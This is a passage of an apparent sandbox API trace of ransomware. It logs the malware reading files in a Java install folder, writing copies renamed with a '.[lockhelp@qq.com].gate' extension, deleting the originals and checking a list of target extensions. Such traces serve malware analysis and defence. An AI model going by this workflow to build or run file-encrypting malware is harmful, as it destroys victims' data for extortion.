dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0116.146] GetLastError () returned 0x0 [0116.146] ReadFile (in: hFile=0x35c, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0xa8, lpOverlapped=0x0) returned 1 [0116.147] WriteFile (in: hFile=0x370, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xb0, lpOverlapped=0x0) returned 1 [0116.148] ReadFile (in: hFile=0x35c, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0116.148] WriteFile (in: hFile=0x370, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x102, lpOverlapped=0x0) returned 1 [0116.148] SetEndOfFile (hFile=0x370) returned 1 [0116.148] CloseHandle (hObject=0x370) returned 1 [0116.150] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0116.150] SetEndOfFile (hFile=0x35c) returned 1 [0116.151] CloseHandle (hObject=0x35c) returned 1 [0116.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0116.152] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 1 [0116.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0116.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0116.153] lstrlenW (lpString=".doc") returned 4 [0116.153] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0116.153] lstrlenW (lpString=".docx") returned 5 [0116.153] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0116.153] lstrlenW (lpString=".pdf") returned 4 [0116.153] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0116.154] lstrlenW (lpString=".xls") returned 4 [0116.154] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0116.154] lstrlenW (lpString=".xlsx") returned 5 [0116.154] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0116.154] lstrlenW (lpString=".ppt") returned 4 [0116.154] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0116.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0116.154] lstrlenW (lpString=".zip") returned 4 [0116.154] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0116.154] lstrlenW (lpString=".rar") returned 4 [0116.154] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0116.154] lstrlenW (lpString=".bz2") returned 4 [0116.154] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0116.154] lstrlenW (lpString=".7z") returned 3 [0116.154] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0116.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0116.154] lstrlenW (lpString=".dbf") returned 4 [0116.154] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0116.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0116.155] lstrlenW (lpString=".1cd") returned 4 [0116.155] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0116.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0116.155] lstrlenW (lpString=".jpg") returned 4 [0116.155] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0116.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0116.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0116.155] lstrlenW (lpString=".doc") returned 4 [0116.155] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0116.155] lstrlenW (lpString=".docx") returned 5 [0116.155] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0116.155] lstrlenW (lpString=".pdf") returned 4 [0116.155] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0116.155] lstrlenW (lpString=".xls") returned 4 [0116.155] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0116.155] lstrlenW (lpString=".xlsx") returned 5 [0116.155] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0116.155] lstrlenW (lpString=".ppt") returned 4 [0116.155] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0116.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0116.155] lstrlenW (lpString=".zip") returned 4 [0116.155] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0116.155] lstrlenW (lpString=".rar") returned 4 [0116.155] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0116.155] lstrlenW (lpString=".bz2") returned 4 [0116.156] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0116.156] lstrlenW (lpString=".7z") returned 3 [0116.156] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0116.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0116.156] lstrlenW (lpString=".dbf") returned 4 [0116.156] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0116.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0116.156] lstrlenW (lpString=".1cd") returned 4 [0116.156] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0116.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77 [0116.156] lstrlenW (lpString=".jpg") returned 4 [0116.156] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0116.156] lstrcmpiW (lpString1=".gif", lpString2=".gate") returned 1 [0116.156] lstrlenW (lpString="win32_MoveDrop32x32.gif") returned 23 [0116.156] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0116.157] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=147) returned 1 [0116.157] CloseHandle (hObject=0x35c) returned 1 [0116.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 0x20 [0116.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.158] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0116.158] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0116.158] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0116.158] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0116.163] GetLastError () returned 0x0 [0116.163] ReadFile (in: hFile=0x35c, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x93, lpOverlapped=0x0) returned 1 [0116.164] WriteFile (in: hFile=0x364, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xa0, lpOverlapped=0x0) returned 1 [0116.165] ReadFile (in: hFile=0x35c, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0116.165] WriteFile (in: hFile=0x364, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x102, lpOverlapped=0x0) returned 1 [0116.165] SetEndOfFile (hFile=0x364) returned 1 [0116.165] CloseHandle (hObject=0x364) returned 1 [0116.170] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0116.170] SetEndOfFile (hFile=0x35c) returned 1 [0116.172] CloseHandle (hObject=0x35c) returned 1 [0116.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0116.172] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 1 [0116.174] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0116.174] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0116.174] lstrlenW (lpString=".doc") returned 4 [0116.174] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0116.174] lstrlenW (lpString=".docx") returned 5 [0116.174] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0116.174] lstrlenW (lpString=".pdf") returned 4 [0116.174] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0116.174] lstrlenW (lpString=".xls") returned 4 [0116.174] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0116.174] lstrlenW (lpString=".xlsx") returned 5 [0116.174] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0116.174] lstrlenW (lpString=".ppt") returned 4 [0116.174] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0116.174] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0116.174] lstrlenW (lpString=".zip") returned 4 [0116.174] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0116.174] lstrlenW (lpString=".rar") returned 4 [0116.174] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0116.174] lstrlenW (lpString=".bz2") returned 4 [0116.174] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0116.174] lstrlenW (lpString=".7z") returned 3 [0116.175] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0116.175] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0116.175] lstrlenW (lpString=".dbf") returned 4 [0116.175] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0116.175] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0116.175] lstrlenW (lpString=".1cd") returned 4 [0116.175] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0116.175] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0116.175] lstrlenW (lpString=".jpg") returned 4 [0116.175] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0116.175] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0116.175] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0116.175] lstrlenW (lpString=".doc") returned 4 [0116.175] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0116.175] lstrlenW (lpString=".docx") returned 5 [0116.175] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0116.175] lstrlenW (lpString=".pdf") returned 4 [0116.175] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0116.175] lstrlenW (lpString=".xls") returned 4 [0116.175] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0116.175] lstrlenW (lpString=".xlsx") returned 5 [0116.175] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0116.175] lstrlenW (lpString=".ppt") returned 4 [0116.175] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0116.175] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0116.175] lstrlenW (lpString=".zip") returned 4 [0116.176] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0116.176] lstrlenW (lpString=".rar") returned 4 [0116.176] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0116.176] lstrlenW (lpString=".bz2") returned 4 [0116.176] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0116.176] lstrlenW (lpString=".7z") returned 3 [0116.176] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0116.176] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0116.176] lstrlenW (lpString=".dbf") returned 4 [0116.176] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0116.176] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0116.176] lstrlenW (lpString=".1cd") returned 4 [0116.176] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0116.176] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0116.176] lstrlenW (lpString=".jpg") returned 4 [0116.176] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0116.176] lstrcmpiW (lpString1=".gif", lpString2=".gate") returned 1 [0116.176] lstrlenW (lpString="win32_MoveNoDrop32x32.gif") returned 25 [0116.176] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0116.183] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=153) returned 1 [0116.183] CloseHandle (hObject=0x364) returned 1 [0116.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 0x20 [0116.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.184] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0116.184] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0116.184] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0116.184] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0116.361] GetLastError () returned 0x0 [0116.361] ReadFile (in: hFile=0x364, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x99, lpOverlapped=0x0) returned 1 [0116.362] WriteFile (in: hFile=0x308, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xa0, lpOverlapped=0x0) returned 1 [0116.364] ReadFile (in: hFile=0x364, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0116.364] WriteFile (in: hFile=0x308, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x106, lpOverlapped=0x0) returned 1 [0116.364] SetEndOfFile (hFile=0x308) returned 1 [0116.364] CloseHandle (hObject=0x308) returned 1 [0116.372] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0116.372] SetEndOfFile (hFile=0x364) returned 1 [0116.373] CloseHandle (hObject=0x364) returned 1 [0116.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0116.373] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 1 [0116.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0116.374] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0116.374] lstrlenW (lpString=".doc") returned 4 [0116.374] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0116.374] lstrlenW (lpString=".docx") returned 5 [0116.374] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0116.374] lstrlenW (lpString=".pdf") returned 4 [0116.374] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0116.374] lstrlenW (lpString=".xls") returned 4 [0116.374] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0116.374] lstrlenW (lpString=".xlsx") returned 5 [0116.374] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0116.375] lstrlenW (lpString=".ppt") returned 4 [0116.375] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0116.375] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0116.375] lstrlenW (lpString=".zip") returned 4 [0116.375] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0116.375] lstrlenW (lpString=".rar") returned 4 [0116.375] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0116.375] lstrlenW (lpString=".bz2") returned 4 [0116.375] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0116.375] lstrlenW (lpString=".7z") returned 3 [0116.375] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0116.375] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0116.375] lstrlenW (lpString=".dbf") returned 4 [0116.375] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0116.375] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0116.375] lstrlenW (lpString=".1cd") returned 4 [0116.375] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0116.375] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0116.375] lstrlenW (lpString=".jpg") returned 4 [0116.375] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0116.375] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0116.375] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0116.375] lstrlenW (lpString=".doc") returned 4 [0116.376] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0116.376] lstrlenW (lpString=".docx") returned 5 [0116.376] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0116.376] lstrlenW (lpString=".pdf") returned 4 [0116.376] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0116.376] lstrlenW (lpString=".xls") returned 4 [0116.376] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0116.376] lstrlenW (lpString=".xlsx") returned 5 [0116.376] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0116.376] lstrlenW (lpString=".ppt") returned 4 [0116.376] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0116.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0116.376] lstrlenW (lpString=".zip") returned 4 [0116.376] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0116.376] lstrlenW (lpString=".rar") returned 4 [0116.376] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0116.376] lstrlenW (lpString=".bz2") returned 4 [0116.376] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0116.376] lstrlenW (lpString=".7z") returned 3 [0116.376] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0116.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0116.376] lstrlenW (lpString=".dbf") returned 4 [0116.376] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0116.376] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0116.376] lstrlenW (lpString=".1cd") returned 4 [0116.376] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0116.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0116.377] lstrlenW (lpString=".jpg") returned 4 [0116.377] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0116.377] lstrcmpiW (lpString1=".txt", lpString2=".gate") returned 1 [0116.377] lstrlenW (lpString="README.txt") returned 10 [0116.377] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0116.378] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=46) returned 1 [0116.378] CloseHandle (hObject=0x364) returned 1 [0116.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt")) returned 0x20 [0116.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.379] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0116.379] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0116.379] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0116.379] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0116.379] GetLastError () returned 0x0 [0116.379] 